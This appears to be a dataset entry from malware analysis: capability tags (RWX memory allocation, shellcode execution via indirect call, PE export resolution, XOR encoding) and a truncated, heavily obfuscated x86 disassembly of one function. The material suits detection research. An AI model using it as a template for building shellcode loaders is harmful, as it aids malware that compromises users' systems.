Function at 0x10008b00
Capabilities:
Allocate or change rwx memory
Authenticate hmac
Encode data using base64
Encode data using xor
Execute shellcode via indirect call
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x518
mov eax, dword [0x100110b4]
mov word [esp + 0x1c], ax
mov eax, dword [0x100110b4]
mov word [esp + 0x18], ax
mov eax, 0xcb
mov word [esp + 8], ax
mov byte [esp + 6], 0xc3
mov ecx, dword [0x10011028]
mov eax, dword [0x1001102c]
movzx eax, word [0x1001103c]
mov word [esp + 0x14], cx
mov dword [esp + 0x8c], eax
push esi
push edi
movzx edi, ax
movsx eax, byte [0x1001103b]
cdq
mov dword [esp + 0x28], eax
mov al, byte [0x1001109c]
mov dword [esp + 0x2c], edx
mov byte [esp + 0xf], al
mov al, 0x77
mov dword [esp + 0x40], 0x2746e9ca
mov dword [esp + 0x8c], eax
mov byte [esp + 0x70], al
movsx eax, byte [0x1001103b]
cdq
mov dword [esp + 0x6c], eax
mov al, 0x29
mov byte [esp + 0x78], al
mov ax, word [0x10011098]
mov word [esp + 0x1a], ax
movzx eax, byte [0x10011033]
mov dword [esp + 0x80], edx
cdq
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], edx
mov al, byte [0x10011033]
movzx eax, byte [0x10011006]
cdq
mov dword [esp + 0x50], eax
mov al, byte [0x10011005]
mov dword [esp + 0x54], edx
mov word [esp + 0x3e], ax
mov byte [esp + 0xd4], al
mov eax, 0x4027
mov word [esp + 0x58], ax
mov eax, dword [0x10011018]
mov ecx, dword [0x1001101c]
mov dword [esp + 0x30], eax
mov eax, 0xe5
mov dword [esp + 0x34], ecx
mov word [esp + 0x58], ax
movsx eax, byte [0x10011004]
mov dword [esp + 0x30], 0xae
mov dword [esp + 0x34], 0
mov dword [esp + 0x30], eax
mov ecx, dword [0x10011010]
mov eax, dword [0x10011014]
mov word [esp + 0x58], cx
mov edx, dword [esp + 0x60]
mov esi, dword [esp + 0x64]
add edx, 0x77
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x64]
adc esi, 0
or eax, edx
mov dword [esp + 0x90], edi
mov dword [esp + 0x60], eax
or ecx, esi
mov eax, dword [0x1001465c]
mov dword [esp + 0x64], ecx
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
add eax, 0x149
mov dword [esp + 0x5c], 0x4317
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x14]
add eax, 0x390
mov dword [esp + 0xec], eax
mov eax, dword [0x10011088]
mov ecx, dword [0x1001108c]
mov eax, dword [0x10011060]
mov ax, word [esp + 0x3e]
mov ecx, dword [0x10011064]
movsx eax, al
cmp eax, 0x8f0438e1
movsx eax, byte [0x10011004]
sbb ecx, ecx
xor eax, 0xf526cf96
neg ecx
cmp eax, ecx
jne 0x10008ccb
movsx eax, byte [0x1001103a]
add eax, 0xc3
mov dword [0x100110c4], eax
mov eax, dword [esp + 0x14]
xor ecx, ecx
add eax, 0x3e5
mov dword [esp + 0x1a0], eax
mov ax, word [0x10011094]
mov byte [0x1006b8a6], al
mov eax, dword [0x1001465c]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
add eax, 0x171
mov dword [esp + 0x30], eax
movsx eax, byte [esp + 0xf]
cmp edi, eax
setne cl
xor eax, eax
cmp edi, 0x50
setne al
cmp ecx, eax
ja 0x10008d52
mov edx, 0x389
nop dword [eax]
mov dword [esp + 0x50], 0xfffffef0
dec edx
mov dword [esp + 0x54], 0xffffffff
mov eax, dword [esp + 0x50]
mov ecx, dword [esp + 0x54]
mov al, byte [esp + 0xe]
mov al, byte [0x10011033]
inc al
mov byte [0x10011033], al
test edx, edx
jg 0x10008d20
jmp 0x10008df1
mov ecx, dword [esp + 0x50]
mov eax, dword [esp + 0x54]
or ecx, eax
je 0x10008df1
mov ecx, dword [0x10011088]
mov eax, dword [0x1001108c]
or ecx, eax
je 0x10008dc2
mov ax, word [esp + 0x10]
xor edi, edi
mov ecx, dword [0x100110c0]
test ax, ax
push dword [0x1001104c]
movsx eax, byte [0x10011005]
cmove edi, ecx
push dword [0x10011048]
cdq
xor esi, esi
push edx
push eax
call fcn.1000fd50
sub edi, eax
mov dword [esp + 0x28], edi
sbb esi, edx
mov dword [esp + 0x2c], esi
mov eax, dword [0x10011018]
mov ecx, dword [0x1001101c]
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], ecx
jmp 0x10008df1
mov al, byte [esp + 0xf]
mov ecx, dword [0x10011010]
mov eax, dword [0x10011014]
or ecx, eax
jne 0x10008ddc
cmp word [esp + 0x20], cx
je 0x10008df1
mov al, byte [0x10011033]
mov dword [esp + 0x50], 1
mov dword [esp + 0x54], 0
mov eax, dword [esp + 0x14]
add eax, 0x38a
mov dword [esp + 0xd0], eax
mov eax, dword [esp + 0x14]
add eax, 0x12c
mov dword [esp + 0x30], eax
mov eax, dword [0x100110c8]
cdq
cmp edx, dword [0x100110bc]
jg 0x10008e2d
jl 0x10008e26
cmp eax, dword [0x100110b8]
jae 0x10008e2d
mov esi, 1
jmp 0x10008e2f
xor esi, esi
mov cx, word [0x10011098]
xor edx, edx
mov ax, word [0x10011098]
cmp cx, ax
setle dl
cmp edx, esi
jne 0x10008e83
mov ax, word [0x100101b4]
movups xmm0, xmmword [str.._AVout_of_range_s]
mov word [esp + 0x1f0], ax
mov al, byte [0x100101b6]
mov byte [esp + 0x1f2], al
lea eax, [esp + 0x1e0]
push eax
movups xmmword [esp + 0x1e4], xmm0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov byte [esp + 0xf], al
mov eax, dword [0x1001465c]
mov cl, 0xd
mov dword [esp + 0x14], eax
mov eax, 0xd84b
mov byte [0x10011033], 0xbc
mov word [esp + 0x10], ax
mov eax, dword [esp + 0x14]
add eax, 0x3e5
mov dword [esp + 0x30], eax
mov eax, dword [0x100110b4]
sub cl, al
mov al, byte [0x1001103b]
add al, cl
mov byte [0x1001103b], al
mov eax, dword [esp + 0x14]
add eax, 0x28f
mov dword [esp + 0x30], eax
cmp byte [0x10011007], 0x77
je 0x10008f07
mov eax, dword [0x10011018]
mov ecx, dword [0x1001101c]
xor eax, 0x9c
xor ecx, 0
mov dword [0x10011070], eax
mov dword [0x10011074], ecx
mov ecx, dword [0x10011010]
mov eax, dword [0x10011014]
sub cl, 0x5f
mov byte [0x10011007], cl
mov eax, dword [esp + 0x14]
mov dl, 0x6d
mov ecx, dword [0x10011070]
add eax, 0x31a
mov dword [esp + 0x30], eax
add ecx, 0x8a1b8ac4
mov eax, dword [0x1001465c]
mov dword [esp + 0x14], eax
mov eax, dword [0x10011074]
adc eax, 0xf250c
mov dword [0x10011010], ecx
mov dword [0x10011014], eax
xor cl, cl
mov eax, 0xff87
add word [0x1001103c], ax
mov eax, dword [esp + 0x14]
add eax, 0xcd
mov dword [esp + 0x174], eax
movzx eax, byte [esp + 0x10]
push eax
movzx eax, byte [esp + 0x13]
push 0x46
push eax
movzx eax, byte [0x1001103b]
push 0x61
push eax
call fcn.100016c0
movsx cx, al
add esp, 0x14
mov dword [esp + 0xa8], eax
movzx edx, cx
mov dword [esp + 0x88], edx
test dx, dx
je 0x10009076
mov edi, dword [0x10011060]
mov ecx, dword [0x10011064]
mov esi, dword [0x100110c4]
test ecx, ecx
ja 0x1000906f
jb 0x10008fc0
cmp edi, esi
jae 0x1000906f
mov ecx, dword [0x10011088]
mov eax, dword [0x100110c8]
mov edi, dword [0x1001108c]
mov esi, dword [0x10011018]
cdq
not esi
xor ecx, eax
xor edi, edx
mov dword [esp + 0x44], ecx
mov ecx, dword [0x1001101c]
movsx eax, word [0x1001109c]
not ecx
cdq
push edi
push dword [esp + 0x48]
sub esi, eax
sbb ecx, edx
push ecx
push esi
call fcn.1000fd50
mov ecx, dword [0x10011078]
mov edi, eax
mov esi, dword [0x1001107c]
add ecx, dword [0x10011048]
movsx eax, word [0x10011098]
adc esi, dword [0x1001104c]
add ecx, 1
mov dword [esp + 0x44], edx
cdq
adc esi, 0
xor eax, ecx
xor edx, esi
not eax
not edx
add eax, edi
mov dword [0x10011068], eax
adc edx, dword [esp + 0x44]
mov dword [0x1001106c], edx
movsx eax, word [esp + 0x20]
push 0x958e1
cdq
push 0x60f75c07
push edx
push eax
call fcn.1000fd50
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], edx
mov edx, dword [esp + 0x88]
jmp 0x1000908f
mov ax, word [esp + 0x24]
jmp 0x1000908f
mov ecx, dword [esp + 0x50]
mov eax, dword [esp + 0x54]
mov word [esp + 0x24], cx
mov cl, 0x84
mov al, byte [esp + 0xe]
sub cl, al
mov byte [esp + 0x78], cl
mov eax, dword [esp + 0x14]
add eax, 0x1e1
mov dword [esp + 0x1a8], eax
mov ax, word [esp + 0x1a]
mov ecx, dword [esp + 0x28]
movzx eax, al
not ecx
mov dword [esp + 0x44], eax
mov eax, dword [esp + 0x2c]
not eax
or ecx, eax
jne 0x100090cc
mov eax, dword [0x10011040]
add eax, 0x4317
mov dword [0x10011040], eax
jmp 0x100090fc
test dx, dx
je 0x100090de
mov al, byte [0x100110b8]
sub al, 0x4d
mov byte [esp + 0xe], al
jmp 0x100090fc
mov al, byte [0x10011034]
sub al, 0x4c
mov byte [esp + 0xe], al
mov ax, word [esp + 0x10]
sub al, 0x5c
mov word [esp + 0x3e], ax
mov byte [esp + 0xd4], al
mov eax, dword [esp + 0x14]
mov esi, dword [esp + 0x80]
add eax, 0xa2
mov dword [esp + 0x1ac], eax
movsx eax, word [0x10011094]
cdq
mov ecx, eax
mov eax, dword [esp + 0x6c]
cmp esi, edx
jl 0x10009132
jg 0x1000912b
cmp eax, ecx
jb 0x10009132
mov ecx, 1
jmp 0x10009134
xor ecx, ecx
test esi, esi
jl 0x10009146
jg 0x1000913f
cmp eax, 0x61
jb 0x10009146
mov eax, 1
jmp 0x10009148
xor eax, eax
cmp ecx, eax
jne 0x100091a2
mov eax, dword [0x100110b4]
cmp dword [0x100110b8], eax
jne 0x10009166
cmp dword [0x100110bc], 0
jne 0x10009166
xor edx, edx
jmp 0x1000916b
mov edx, 1
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
or ecx, eax
jne 0x10009184
cmp word [0x1001103c], cx
jne 0x10009184
xor eax, eax
jmp 0x10009189
mov eax, 1
cmp edx, eax
jne 0x100091a2
mov eax, dword [esp + 0x94]
imul eax, dword [0x100110a8]
not eax
mov word [esp + 0x24], ax
mov eax, dword [0x1001465c]
mov ecx, 3
mov edi, dword [esp + 0x88]
mov dword [esp + 0x14], eax
mov word [0x10011094], di
mov eax, dword [esp + 0x14]
add eax, 0x84
mov dword [esp + 0x1b0], eax
mov dx, word [0x10011094]
push 0
call fcn.10001b80
movzx eax, ax
add esp, 4
cdq
mov dword [0x10011068], eax
mov dword [0x1001106c], edx
mov eax, dword [0x10011068]
mov ecx, dword [0x1001106c]
movzx eax, word [esp + 0x10]
movzx ecx, word [0x10011044]
imul ecx, eax
movsx eax, word [0x1001109c]
sub ecx, eax
mov eax, dword [esp + 0x14]
add eax, 0x376
not ecx
mov dword [0x10011080], ecx
mov dword [esp + 0x30], eax
mov al, byte [0x10011006]
add al, 0x2d
mov byte [0x10011032], al
mov eax, dword [esp + 0x14]
add eax, 0x27a
mov dword [esp + 0xe0], eax
mov eax, dword [0x100110a8]
or eax, dword [0x100110ac]
je 0x10009274
movzx eax, byte [esp + 0x78]
cdq
add eax, 0x1f82052b
mov dword [0x10011020], eax
mov al, byte [0x10011007]
adc edx, 0
mov dword [0x10011024], edx
mov byte [0x1001103b], 0
mov eax, dword [0x1001465c]
xor dl, dl
mov dword [esp + 0x14], eax
movzx eax, byte [esp + 0x24]
push eax
movzx eax, byte [esp + 0x24]
push eax
movzx eax, byte [esp + 0x2c]
mov cl, byte [0x100110a8]
push eax
movzx eax, byte [0x10011070]
push eax
push 0
call fcn.10001000
movsx eax, al
add esp, 0x14
cdq
mov dword [0x10011088], eax
mov dword [0x1001108c], edx
mov ecx, dword [0x10011088]
mov eax, dword [0x1001108c]
test eax, eax
jl 0x10009310
jg 0x100092cd
test ecx, ecx
je 0x10009310
movzx ecx, byte [0x10011033]
movsx eax, byte [0x1001103b]
cmp eax, ecx
jl 0x1000935b
mov eax, dword [0x1001465c]
mov dword [0x10011068], eax
mov dword [0x1001106c], 0
movzx eax, word [esp + 0x24]
cdq
sub eax, 0xbdb8
mov ecx, edx
mov dword [esp + 0x6c], eax
sbb ecx, 0
mov dword [esp + 0x80], ecx
jmp 0x1000935b
mov ax, word [esp + 0x3e]
mov esi, dword [0x10011060]
mov ecx, dword [0x10011064]
movsx eax, al
cdq
add esi, eax
adc ecx, edx
or esi, ecx
jne 0x10009332
lea ecx, [esi + 1]
jmp 0x10009334
xor ecx, ecx
movzx eax, word [esp + 0x24]
add eax, ecx
add eax, dword [0x100110b0]
mov dword [0x100110b4], eax
mov ax, word [esp + 0x3e]
xor al, byte [esp + 0x78]
mov word [esp + 0x3e], ax
mov byte [esp + 0xd4], al
mov eax, dword [esp + 0x14]
xor dl, dl
add eax, 0x35f
xor cl, cl
push 0xffffffffffffff93
mov dword [esp + 0x34], eax
movzx eax, byte [0x100110c8]
push eax
push dword [esp + 0xb0]
push 0
push 0
call fcn.100016c0
movsx eax, al
add esp, 0x14
cdq
mov dword [0x100110a0], eax
mov dword [0x100110a4], edx
mov ecx, dword [0x100110a0]
mov eax, dword [0x100110a4]
or ecx, eax
je 0x10009448
movzx eax, byte [0x1001103c]
mov dl, 0x83
mov ecx, dword [esp + 0x28]
push 0xffffffffffffffd9
push eax
mov eax, dword [esp + 0x34]
push 0x77
push dword [esp + 0x84]
push 0xffffffffffffffdb
call fcn.100016c0
cbw
add esp, 0x14
mov word [esp + 0x58], ax
movzx eax, ax
mov dword [esp + 0x5c], eax
test ax, ax
jne 0x10009480
movsx eax, word [esp + 0x20]
cmp eax, dword [esp + 0x44]
jge 0x1000943b
movzx eax, word [0x10011050]
cdq
mov ecx, eax
mov esi, edx
movzx eax, word [esp + 0x58]
cdq
add ecx, eax
movzx eax, word [esp + 0x24]
adc esi, edx
cdq
xor ecx, eax
xor esi, edx
mov eax, dword [0x10011008]
mov dword [0x100110a8], ecx
add eax, 0x3b
mov ecx, dword [0x1001100c]
mov dword [0x100110ac], esi
adc ecx, 0
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], ecx
jmp 0x10009480
mov eax, dword [esp + 0x40]
add al, 0x32
mov byte [0x10011005], al
jmp 0x10009480
cmp dword [section..data], 0
je 0x10009480
mov ax, word [0x10011038]
movzx ecx, byte [esp + 0xe]
movzx eax, ax
imul ecx, eax
mov word [0x10011038], cx
mov ecx, dword [0x10011008]
mov eax, dword [0x1001100c]
movzx eax, cx
mov dword [esp + 0x88], eax
mov edi, eax
mov eax, dword [esp + 0x14]
xor cl, cl
add eax, 0x190
mov dword [esp + 0x178], eax
call fcn.100019c0
mov byte [0x1001103b], al
cmp byte [0x1001103b], 0
jge 0x100094f9
movups xmm0, xmmword [str.wrong_protocol_typ]
mov eax, dword [0x100101d8]
mov dword [esp + 0x2a0], eax
mov ax, word [0x100101dc]
movups xmmword [esp + 0x280], xmm0
mov word [esp + 0x2a4], ax
lea eax, [esp + 0x280]
movups xmm0, xmmword [0x100101c8]
push eax
movups xmmword [esp + 0x294], xmm0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cdq
mov dword [0x10011010], eax
mov dword [0x10011014], edx
jmp 0x1000950e
mov ax, word [0x10011030]
mov ecx, 0xbc
sub cx, ax
add word [0x1001109c], cx
mov eax, dword [esp + 0x14]
add eax, 0xbf
mov dword [esp + 0xa0], eax
mov eax, dword [esp + 0x50]
mov ecx, dword [esp + 0x54]
mov ax, word [esp + 0x20]
mov al, byte [0x10011033]
movzx eax, word [esp + 0x1c]
mov ecx, dword [0x10011018]
mov esi, dword [0x1001101c]
cdq
cmp eax, ecx
jne 0x100095cd
cmp edx, esi
jne 0x100095cd
mov al, byte [esp + 0xe]
mov eax, dword [0x10011090]
mov eax, dword [0x100110c0]
movzx eax, word [0x10011034]
movzx edx, byte [0x10011036]
mov esi, dword [esp + 0x80]
add edx, eax
mov eax, dword [0x10011088]
mov ecx, dword [0x1001108c]
sub eax, edx
sbb ecx, 0
sub eax, dword [0x10011048]
sbb ecx, dword [0x1001104c]
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], ecx
cmp word [esp + 0x10], 0
je 0x100095b5
mov eax, dword [esp + 0x6c]
mov ecx, esi
mov dword [0x100110a0], eax
mov dword [0x100110a4], ecx
jmp 0x10009636
mov eax, dword [0x100110b8]
mov ecx, dword [0x100110bc]
mov dword [0x100110a0], eax
mov dword [0x100110a4], ecx
jmp 0x10009636
mov al, byte [esp + 0xe]
mov ecx, dword [esp + 0x6c]
mov esi, dword [esp + 0x80]
shr al, 5
add ecx, dword [0x100110b8]
mov dword [esp + 0x8c], eax
mov byte [esp + 0x70], al
mov eax, dword [0x100110bc]
adc eax, esi
or ecx, eax
jne 0x100095ff
mov ch, 1
jmp 0x10009601
xor ch, ch
mov edx, dword [0x100110a0]
mov eax, dword [0x100110a4]
mov cl, byte [esp + 0x6c]
sub cl, dl
movzx eax, ch
movzx edx, cl
mov ecx, dword [0x10011010]
imul edx, eax
mov eax, dword [0x10011014]
sub dl, byte [esp + 0x3e]
sub dl, cl
add dl, byte [0x1001109c]
mov byte [esp + 0x1a], dl
mov eax, dword [0x1001465c]
mov dword [esp + 0x14], eax
mov eax, dword [0x100110b0]
add eax, 0x557bc07
mov dword [esp + 0x4c], 0
mov dword [esp + 0x48], eax
mov eax, dword [0x100110b4]
sub eax, 0xfe
mov dword [0x10011090], eax
mov eax, dword [esp + 0x14]
add eax, 0xf4
mov dword [esp + 0xd8], eax
mov eax, dword [esp + 0x14]
add eax, 0x9d
mov dword [esp + 0x184], eax
movsx eax, byte [esp + 0xf]
cdq
mov ecx, eax
mov eax, dword [esp + 0x6c]
cmp esi, edx
jl 0x100096a1
jg 0x1000969a
cmp eax, ecx
jb 0x100096a1
mov ecx, 1
jmp 0x100096a3
xor ecx, ecx
test esi, esi
jl 0x100096b5
jg 0x100096ae
cmp eax, 0x58
jb 0x100096b5
mov eax, 1
jmp 0x100096b7
xor eax, eax
cmp ecx, eax
ja 0x10009743
mov eax, dword [0x10011028]
mov ecx, dword [0x1001102c]
mov dword [esp + 0x44], eax
mov eax, dword [esp + 0x5c]
movzx eax, ax
cdq
cmp ecx, edx
ja 0x100096e9
jb 0x100096e2
cmp dword [esp + 0x44], eax
ja 0x100096e9
mov ecx, 1
jmp 0x100096eb
xor ecx, ecx
mov edx, dword [0x10011028]
mov eax, dword [0x1001102c]
test eax, eax
ja 0x10009708
jb 0x10009701
cmp edx, 0x18
ja 0x10009708
mov eax, 1
jmp 0x1000970a
xor eax, eax
cmp ecx, eax
jb 0x10009726
mov eax, 2
mov word [0x10011098], ax
mov al, byte [0x1001103b]
add al, 0x5e
mov byte [esp + 0x1a], al
jmp 0x10009763
mov ecx, dword [esp + 0x6c]
movsx eax, di
cdq
add eax, ecx
adc edx, esi
or ecx, eax
or esi, edx
mov dword [esp + 0x6c], ecx
mov dword [esp + 0x80], esi
jmp 0x10009763
mov ax, word [esp + 0x1c]
mov al, byte [0x10011050]
sub byte [0x10011037], al
mov dword [esp + 0x48], 0xebf8
mov dword [esp + 0x4c], 0
mov eax, dword [esp + 0x14]
add eax, 0x29d
mov dword [esp + 0x1a4], eax
mov eax, dword [0x1001465c]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
add eax, 0x2ca
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x14]
add eax, 0x3e6
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x14]
add eax, 0x30f
mov dword [esp + 0xc4], eax
mov eax, dword [0x10011008]
mov ecx, dword [0x1001100c]
add eax, 1
mov dword [0x10011008], eax
mov eax, dword [0x1001465c]
adc ecx, 0
mov dword [0x1001100c], ecx
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov edi, dword [0x100110b8]
add eax, 0x1c6
mov esi, dword [0x100110bc]
mov dword [esp + 0x30], eax
movsx eax, byte [0x10011004]
cdq
cmp edi, eax
jne 0x100097fb
cmp esi, edx
jne 0x100097fb
mov ecx, 1
jmp 0x100097fd
xor ecx, ecx
cmp edi, 0x31
jne 0x1000980b
test esi, esi
jne 0x1000980b
lea eax, [edi - 0x30]
jmp 0x1000980d
xor eax, eax
cmp ecx, eax
jb 0x1000988a
movsx eax, word [esp + 0x20]
push 0
push 0
push 0
cdq
push 0x82
push edx
push eax
call fcn.100012e0
mov dword [0x100110a0], eax
add esp, 0x18
mov dword [0x100110a4], edx
mov edx, dword [esp + 0x8c]
movzx eax, dl
add eax, dword [0x100110c8]
je 0x1000985b
xor al, al
mov dword [esp + 0x8c], eax
mov byte [esp + 0x70], al
jmp 0x100098ef
mov eax, dword [0x10011070]
or eax, dword [0x10011074]
mov edi, dword [esp + 0x48]
je 0x100098f3
mov ax, word [esp + 0x20]
mov cx, word [esp + 0x20]
sub ax, di
movzx eax, ax
add cx, ax
mov word [esp + 0x20], cx
jmp 0x100098f3
mov ecx, dword [0x10011060]
mov eax, dword [0x10011064]
or ecx, eax
jne 0x100098c9
cmp dword [0x10011080], ecx
je 0x100098b4
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x34], eax
mov word [esp + 0x24], cx
jmp 0x100098ef
mov ecx, dword [0x100110b0]
mov dword [esp + 0x34], 0
mov word [esp + 0x24], cx
jmp 0x100098ef
mov eax, dword [esp + 0x6c]
or eax, dword [esp + 0x80]
je 0x100098ef
mov ax, word [esp + 0x1c]
shr ax, 6
mov byte [0x10011006], al
mov eax, dword [0x100110a0]
mov ecx, dword [0x100110a4]
mov edi, dword [esp + 0x48]
mov eax, dword [esp + 0x14]
mov dl, 0x9c
add eax, 0x7a
mov dword [esp + 0xa8], eax
movsx ax, byte [esp + 0xf]
push 0
push dword [esp + 0x74]
sub ax, 0x4f
mov word [0x10011030], ax
mov eax, dword [esp + 0x1c]
add eax, 0x2ab
mov dword [esp + 0xf0], eax
mov eax, dword [0x1001465c]
mov dword [esp + 0x1c], eax
mov ecx, dword [0x100110b4]
mov eax, dword [0x100110b4]
sub ecx, dword [0x100110b0]
xor eax, ecx
mov dword [0x100110b4], eax
mov eax, dword [esp + 0x1c]
mov cl, byte [0x10011004]
add eax, 0x16
push 0xffffffffffffffe5
mov dword [esp + 0x3c], eax
movzx eax, byte [0x10011034]
push 0
push eax
call fcn.100016c0
cbw
add esp, 0x14
movzx eax, ax
mov dword [esp + 0x7c], eax
test ax, ax
je 0x100099d5
xor cl, cl
call fcn.100019c0
mov ecx, dword [0x10011008]
movzx eax, al
mov dword [esp + 0x90], eax
mov eax, dword [0x1001100c]
or ecx, eax
je 0x100099d5
imul eax, dword [0x10011040], 0xffffd751
xor edx, edx
not dx
mov word [esp + 0x20], ax
mov ecx, dword [esp + 0x40]
movsx eax, byte [0x1001103b]
mov ax, word [esp + 0x1a]
movzx eax, al
sub dx, ax
add dx, word [section..data]
mov word [0x10011030], dx
mov eax, dword [esp + 0x14]
add eax, 2
mov dword [esp + 0x19c], eax
mov eax, dword [esp + 0x14]
add eax, 0x246
mov dword [esp + 0x188], eax
mov eax, dword [0x1001465c]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
add eax, 0x3d1
mov dword [esp + 0x30], eax
cmp word [esp + 0x10], 0
jne 0x10009a2a
mov eax, dword [0x100110b0]
shl eax, 7
mov word [0x10011030], ax
mov eax, dword [esp + 0x40]
sub al, 0x6d
mov byte [0x10011037], al
mov eax, dword [esp + 0x14]
add eax, 0x316
mov byte [0x10011037], 0x9c
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x14]
add eax, 0x1e8
mov byte [esp + 0x74], 4
mov dword [esp + 0xac], eax
cmp word [esp + 0x1c], 0
je 0x10009a91
mov ecx, dword [0x10011088]
mov eax, dword [0x1001108c]
mov eax, 0x581f
and cx, ax
movsx eax, byte [0x10011032]
mov word [0x10011050], cx
mov ecx, dword [esp + 0x40]
imul ecx, eax
mov al, byte [0x10011032]
sub al, cl
mov byte [0x10011032], al
jmp 0x10009acd
cmp word [esp + 0x10], 0
jne 0x10009aa6
mov eax, dword [0x10011058]
or eax, dword [0x1001105c]
jne 0x10009acd
mov ecx, dword [esp + 0x50]
mov eax, dword [esp + 0x54]
shrd ecx, eax, 5
mov al, byte [0x10011037]
xor al, 0x39
mov byte [esp + 0xe], cl
movsx eax, al
cdq
add dword [0x10011020], eax
adc dword [0x10011024], edx
mov eax, dword [0x1001465c]
mov dword [esp + 0x14], eax
movzx eax, byte [0x10011036]
add ax, 0x7a
mov word [0x10011098], ax
mov eax, dword [esp + 0x14]
add eax, 0x2ed
mov dword [esp + 0x30], eax
mov esi, dword [0x10011068]
mov ecx, dword [0x1001106c]
movsx eax, byte [0x10011005]
cdq
push edx
push eax
push ecx
push esi
call fcn.1000fd50
mov ecx, dword [0x10011068]
mov esi, dword [0x1001106c]
sub ecx, eax
mov dword [0x10011068], ecx
sbb esi, edx
mov dword [0x1001106c], esi
movsx ecx, word [0x10011094]
movzx eax, word [0x10011050]
sub ecx, eax
movzx eax, word [0x10011094]
xor ax, cx
mov word [0x10011094], ax
mov eax, dword [esp + 0x14]
add eax, 0x124
mov dword [esp + 0x94], eax
cmp word [0x10011030], 0
je 0x10009bde
mov eax, dword [0x1001106c]
push 0
push 0x2b
push 0
push 0
push 0
push 0
push eax
mov eax, dword [0x10011068]
push eax
push 0
push 0xe0
push 0
push 0
push 0
push 0x3f
call fcn.100017f0
add esp, 0x38
mov dword [0x100110c8], eax
test eax, eax
jne 0x10009bf8
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
test eax, eax
jl 0x10009bf8
jg 0x10009bb5
cmp ecx, 0x26fbf860
jb 0x10009bf8
movsx ax, byte [0x10011037]
mov ecx, dword [0x10011010]
sub ax, 0x2d
movzx eax, ax
mov dword [esp + 0x88], eax
mov eax, dword [0x10011014]
add dword [0x100110c4], ecx
jmp 0x10009bf8
movzx eax, word [0x1001103c]
xor ecx, ecx
cdq
xor eax, edi
xor edx, ecx
add edi, eax
mov dword [esp + 0x48], edi
adc ecx, edx
mov dword [esp + 0x4c], ecx
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x4c]
add eax, 0x33f
mov ecx, dword [0x1001465c]
mov esi, dword [0x1001105c]
mov dword [esp + 0x198], eax
mov eax, edi
sub eax, 0xcd41
mov dword [esp + 0x44], ecx
mov dword [0x10011070], eax
sbb edx, 0
mov dword [0x10011074], edx
mov dword [esp + 0x14], ecx
mov ecx, dword [0x10011058]
test esi, esi
jl 0x10009c54
jg 0x10009c4a
cmp ecx, dword [esp + 0x90]
jbe 0x10009c54
mov dword [esp + 0x5c], 1
jmp 0x10009c5c
mov dword [esp + 0x5c], 0
test esi, esi
jl 0x10009c74
jg 0x10009c67
cmp ecx, 0x28
jbe 0x10009c74
mov dword [esp + 0x84], 1
jmp 0x10009c7f
mov dword [esp + 0x84], 0
mov edi, dword [esp + 0x5c]
cmp edi, dword [esp + 0x84]
mov edi, dword [esp + 0x4c]
jne 0x10009cb4
or ecx, esi
jne 0x10009cb4
or eax, edx
je 0x10009cb4
mov al, byte [esp + 0x44]
mov ecx, 0xdf
mov dword [esp + 0x74], eax
mov ax, word [0x10011050]
sub ax, cx
mov word [0x10011098], ax
mov eax, dword [esp + 0x14]
mov cl, 0xd5
inc word [0x1001103c]
add eax, 0x84
mov dword [esp + 0xa4], eax
mov eax, dword [esp + 0x14]
add eax, 0xfa
mov dword [esp + 0x30], eax
call fcn.100019c0
movzx eax, al
mov dword [esp + 0x40], eax
cmp byte [esp + 0xf], 0
je 0x10009d2b
mov eax, dword [esp + 0x50]
mov ecx, dword [esp + 0x54]
add eax, 0x6f
mov dword [0x10011048], eax
movsx eax, word [0x1001109c]
adc ecx, 0
push 0xb4111
cdq
push 0x5a732600
push edx
push eax
mov dword [0x1001104c], ecx
call fcn.1000fd50
add dword [esp + 0x48], eax
adc edi, edx
mov dword [esp + 0x4c], edi
jmp 0x10009d61
movsx eax, word [0x10011094]
mov esi, dword [0x10011008]
mov edi, dword [0x1001100c]
cdq
and esi, eax
and edi, edx
mov eax, dword [0x10011008]
mov ecx, dword [0x1001100c]
add eax, esi
mov dword [0x10011008], eax
adc ecx, edi
mov edi, dword [esp + 0x4c]
mov dword [0x1001100c], ecx
mov eax, dword [esp + 0x14]
add eax, 0x360
mov dword [esp + 0x1d0], eax
mov eax, dword [esp + 0x88]
cwde
push 0
push 0
lea eax, [eax + eax*2]
shl eax, 4
mov dword [0x100110c0], eax
mov eax, dword [0x10011018]
mov ecx, dword [0x1001101c]
sub eax, 1
mov dword [0x10011018], eax
mov eax, dword [0x1001465c]
sbb ecx, 0
mov dword [0x1001101c], ecx
mov dword [esp + 0x1c], eax
movzx eax, word [esp + 0x24]
cdq
push edx
push eax
mov eax, dword [0x1001100c]
push 0
push 0x80
push eax
mov eax, dword [0x10011008]
push eax
push 0
push 0x90
push 0
push 0xf9
push 0
push 0
call fcn.100017f0
add esp, 0x38
mov dword [0x100110c8], eax
test eax, eax
js 0x1000a065
movsx ecx, word [0x10011098]
xor edx, edx
mov eax, dword [0x100110b4]
cmp ecx, eax
mov ax, word [0x10011098]
setne dl
xor ecx, ecx
cmp ax, 0x12
setne cl
cmp edx, ecx
jbe 0x1000a018
mov ax, word [0x1001109c]
mov ecx, 0xfbb
sub ax, cx
mov word [esp + 0x1c], ax
mov esi, dword [esp + 0x48]
